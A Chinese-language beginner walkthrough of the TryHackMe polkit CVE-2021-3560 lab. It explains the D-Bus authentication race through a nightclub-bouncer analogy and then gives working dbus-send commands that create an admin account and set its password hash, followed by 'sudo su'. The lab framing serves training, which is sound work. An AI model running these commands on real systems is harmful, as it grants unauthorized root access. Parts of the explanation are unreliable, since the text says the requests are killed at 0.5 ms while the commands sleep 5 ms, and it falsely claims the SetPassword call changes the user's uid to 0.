适合初学者的 TryHackMe 简单级别模块 polkit:CVE-2021-3560 的指南
我们将首先检查polkit的版本以获得更好的洞察。
apt list --installed | grep policykit-1
policykit-1/focal,now 0.105-26ubuntu1 amd64 [已安装,可升级至: 0.105-26ubuntu1.1]
我使用deepseek创建了一个简单的类比,帮助你更好地理解polkit的概念。
夜店: Polkit系统
夜店(VIP区): 特权系统服务/操作(挂载驱动器、安装软件、管理网络)
门口的保安: Polkit本身,拦截所有进入尝试
宾客名单/着装要求: Polkit策略规则(存储在 /usr/share/polkit-1/actions/ 和 /etc/polkit-1/rules.d/ 中)
VIP通行证/俱乐部会员: 属于特定的Linux组(如 wheel、sudo、storage、network)
身份检查: Polkit检查用户身份和组成员关系
所有者/经理 Root: 用户(拥有对所有内容的无限制访问权限)
试图进入VIP区的普通顾客: 普通用户/程序尝试执行特权命令
保安查阅规则书: Polkit检查针对该特定操作配置的策略
保安要求特殊手环/密码: 认证提示(要求密码)
保安不经检查就挥手放行: 允许无需认证的操作(针对受信任的用户/组)
polkit 是 systemd 的 sudo
现在我们可以通过一些狡猾的请求来利用这个夜店保安,从而绕过对 dbus 请求的凭证检查。
让我们用之前的夜店保安类比来理解这个过程。
假设正常流程是:保安检查身份,如果该人员有足够权限执行特定任务,则被保安允许。但为了利用它,攻击者会向俱乐部秘书发送一个虚假请求,说“让我成为拥有所有权限的俱乐部经理”。现在,消息到达俱乐部秘书之前我们有11毫秒,显然他不会接受这个请求。所以我们必须在该消息到达秘书一半的时间(即0.5毫秒)内取消请求。然后,在保安能够检查是谁发送了请求之前,我们抢走那张写着提升权限请求的纸条。我们抢走它,保安就无法分辨是谁干的。现在,该纸条有一个唯一的编号,这个编号变成了孤儿。系统里存在这个唯一编号,但原始纸条不见了。处理这种情况的默认协议是,保安会假设消息是由俱乐部所有者发送的,因为手册上是这么说的。大致过程如下:保安问“嘿,谁发送了这条消息#12345?”dbus-daemon 查看记录并告诉“我的日志中有#12345的跟踪信息,但找不到实际消息……错误”。dbus-daemon 并没有说不知道是谁发送的,而是返回了一个错误代码。保安的训练手册有一个 bug。训练手册说,如果你不知道特定消息是谁发送的,并且在检查ID时遇到错误,那么就假设它来自俱乐部所有者(uid 0)。保安告诉俱乐部秘书这条消息来自俱乐部所有者,尽管它只是一个代理,秘书批准了,然后俱乐部秘书为攻击者创建一个新的俱乐部经理账户。现在攻击者拥有与 root 用户同等的权限。
现在让我们来看一下能立即为我们创建一个名为 attacker、密码为 Expl01ted 的用户的命令。我们从以下命令开始:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
此命令将创建一个名为 attacker 的用户。我们在0.5毫秒后立即拉出,以阻止消息被保安(polkit)读取。用户 attacker 仍然没有任何 root 凭证。
为了给用户 attacker 赋予急需的 root 权限,我们将使用以下命令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
id attacker
现在我们可以看到用户 attacker 的 uid 是 1000。
在这里我们添加了原本没有任何权限的原始 attacker 用户的用户 id。这将确保用户 attacker 的 id 从 1000 变为 0。
id attacker
现在我们可以看到用户 attacker 的 uid 已从 1000 变为 0,这意味着我们处于最高权限的 root 用户组中。 我们可以直接以 root 身份执行命令,或者直接跳转到 root shell,哪种方式更适合你。
sudo su```